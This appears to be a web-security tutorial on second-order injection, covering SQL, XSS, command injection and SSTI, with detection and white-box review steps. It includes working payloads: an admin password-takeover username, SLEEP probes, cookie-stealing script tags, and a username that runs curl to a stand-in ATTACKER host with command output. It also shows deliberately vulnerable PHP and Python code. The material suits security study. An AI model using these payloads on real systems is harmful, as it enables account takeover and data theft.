Web

Second-Order Injection

Second-order (stored) injection: SQL, XSS, and command injection where malicious input is safely stored then unsafely used later. OSWE white-box identification, blind detection via timing/OOB, and exploitation patterns.

What is Second-Order Injection

First-order injection fires immediately when input is submitted. Second-order (stored) injection stores the payload safely (escaping, parameterised insert) but later retrieves and uses the stored value without sanitisation in a different context — a different query, page, or system call.

This bypasses input sanitisation at the entry point and is a core OSWE white-box pattern because you only discover it by reading the code that uses stored values, not just the code that stores them.


Detection — Black-Box

Step 1 — Store a payload in every user-controlled field

Register, update a profile, or submit any form that persists data. In each field, store a payload that would trigger if unsanitised:

Username:  admin'-- -
Full name: <script>alert(1)</script>
Address:   $(id)
Email:     test+${7*7}@example.com

Step 2 — Trigger the code path that reads the stored value

Use every feature that retrieves and processes the stored data:

  • Log in with the poisoned username
  • View your profile
  • Generate a report containing your name
  • Export data that includes your field
  • An admin panel that displays your registration data

Watch for errors, execution, or changed responses.

Step 3 — Blind detection with Burp Collaborator

Store a Collaborator URL in each field:

Username: x'||(SELECT+LOAD_FILE('\\\\COLLABORATOR\\a'))||'x
Address:  <script src="//COLLABORATOR/x"></script>

When the admin views the user list or a report is generated, Collaborator pings confirm execution.


Second-Order SQL Injection

How it happens

// Registration — safe (parameterised)
$stmt = $pdo->prepare("INSERT INTO users (username) VALUES (?)");
$stmt->execute([$_POST['username']]);

// Password change — unsafe (uses stored username from session)
$username = $_SESSION['username'];  // "admin'-- -"
$query = "UPDATE users SET password='$newpass' WHERE username='$username'";

The INSERT is safe. The UPDATE concatenates the stored username directly.

Exploit pattern

  1. Register with username: admin'-- -
  2. Log in as the new user.
  3. Change your password.
  4. The backend runs: UPDATE users SET password='newpass' WHERE username='admin'-- -'
  5. The -- - comments out the closing quote — you changed admin’s password.

Time-based blind confirmation

Store a time payload in the field, then trigger the code path that uses it:

username: a'+(SELECT SLEEP(5))+'a

When the code later builds a query using this username → 5-second delay confirms execution.


Second-Order XSS

How it happens

// Input — sanitised for display (html entities)
$name = htmlspecialchars($_POST['name']);
INSERT INTO profiles (name) VALUES ('$name');

// Later — used unsanitised in a different context (admin panel, CSV export, email)
$row = $db->query("SELECT name FROM profiles WHERE id=$id")->fetch();
echo "<td>" . $row['name'] . "</td>";  // no escaping here

Exploit

  1. Register with name: <script>alert(document.cookie)</script>
  2. The registration page shows it safely (HTML-encoded).
  3. The admin panel retrieves and renders it without encoding → XSS fires when admin views it.

Stored XSS in export / email

Insert a payload into a field that appears in:

  • CSV exports (may be rendered by Excel → CSV injection too)
  • PDF generation (headless browser renders XSS)
  • Email HTML body (XSS in email client)
  • System logs displayed in a web UI

Second-Order Command Injection

How it happens

# Safe storage
username = request.form['username']
db.execute("INSERT INTO users (username) VALUES (?)", (username,))

# Unsafe use — later processing
username = db.query("SELECT username FROM users WHERE id=?", (user_id,)).fetchone()[0]
subprocess.run(f"send_report.sh {username}", shell=True)

Exploit

Register username as: ; curl http://ATTACKER/$(id) ;

When the report generation runs, it executes: send_report.sh ; curl http://ATTACKER/$(id) ;


Second-Order SSTI

Store a template payload in a field that gets rendered by a template engine later:

Name: {{7*7}}
Bio:  ${7*7}

If a report, email, or admin view renders the field through a template engine without escaping → SSTI fires.


OSWE White-Box Methodology

  1. Map all storage points — every INSERT/UPDATE that takes user input.
  2. Find all retrieval points — every SELECT that returns stored user data.
  3. Trace how retrieved data is used — is it parameterised, escaped, or concatenated directly into queries/commands/templates?
  4. Look specifically for:
    • Username used in queries after login
    • Profile fields used in reports, exports, emails
    • Any field that gets used in a context different from where it was inputted
# Find all places stored values are used in queries (PHP example)
grep -rn "\\$_SESSION\|fetchColumn\|fetch()" --include="*.php" . | grep -v "prepare\|bindParam"

Burp Suite workflow

  1. Proxy — intercept every registration/profile update and note all stored fields.
  2. Repeater — store payloads in each field; then replay requests to every code path that reads stored data.
  3. Collaborator — use OOB payloads (DNS) to detect blind second-order execution in both SQL and XSS contexts.
  4. Scanner — Burp’s active scanner tests second-order SQLi by storing probes and then crawling to trigger them.